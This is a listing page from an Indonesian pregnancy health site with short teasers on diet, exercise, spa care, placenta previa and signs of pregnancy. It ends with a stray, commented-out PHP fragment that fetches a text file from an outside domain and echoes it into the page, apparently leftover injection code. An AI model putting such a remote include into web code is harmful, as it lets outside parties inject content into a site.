Gizi & Kesehatan

Manikur Pedikur untuk Ibu Hamil

Manikur Pedikur untuk Ibu Hamil

 

Selain merawat bagian tubuh lain, ibu hamil juga perlu merawat jari tangan dan kaki, termasuk kuku. Anda pasti membutuhkannya ketika ukuran perut semakin besar, karena sulit menjangkau dan merawat jari kaki sendiri... read more

Diet Ibu Hamil

Diet Ibu Hamil

 

Pada kondisi tertentu, dokter kandungan mungkin menyarankan ibu hamil untuk berdiet. Bukan berarti mengurangi porsi makan, tapi mengatur pola makan. Yuk, kenali ragamnya! ... read more

Diet Ketika Hamil Percepat Pelangsingan Kembali

Diet Ketika Hamil Percepat Pelangsingan Kembali

 

Banyak cara untuk kembali langsing setelah melahirkan. Tapi manakah yang sehat? Diet ketika hamil ternyata turut membantu proses pelangsingan kembali setelah melahirkan. Diet yang tepat akan membantu Anda cepat langsing kembali dengan cara yang sehat. Apa... read more

Menikmati Spa Saat Hamil

Menikmati Spa Saat Hamil

 

Perawatan dengan air atau spa membuat orang bugar dan berseri-seri, apalagi konsep perawatannya meliputi perawatan tubuh, pikiran dan jiwa. Bagi ibu hamil, spa juga sangat mengasyikkan. Ayo segarkan tubuh, pikiran dan jiwa di spa khusus ibu hamil.... read more

7 Rambu Olahraga Ibu Hamil

7 Rambu Olahraga Ibu Hamil

 

Olahraga pada masa kehamilan memang baik untuk kesehatan ibu dan janin. Namun tentu ada rambu-rambunya. Hentikan olahraga jika Anda mengalami beberapa gejala seperti ini.... read more

Placenta Previa Pada Kehamilan

Placenta Previa Pada Kehamilan

 

Sekitar 0,5 % ibu hamil mengalami plasenta previa. Peluang kembali mengalaminya di kehamilan selanjutnya 4-8%. Selaian mengancam keselamatan ibu dan meningkatkan resiko pendarahan pasca bersalin, plasenta previa bisa mengakibatkan janin berisiko lahir pr... read more

7 Tanda Anda Hamil

7 Tanda Anda Hamil

 

Kehamilan tidak melulu ditandai oleh terlambatnya haid atau makin gendutnya perut. Masih ada tanda-tanda lainnya, lho .... read more

Superfood Tumpuan Nutrisi Ibu Hamil

Superfood Tumpuan Nutrisi Ibu Hamil

 

Selama kehamilan, Anda harus benar-benar mempertanggungjawabkan apa yang Anda masukkan ke dalam tubuh. Karena apapun yang Anda konsumsi, janin Anda pun akan ikut mencicipi ... read more

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>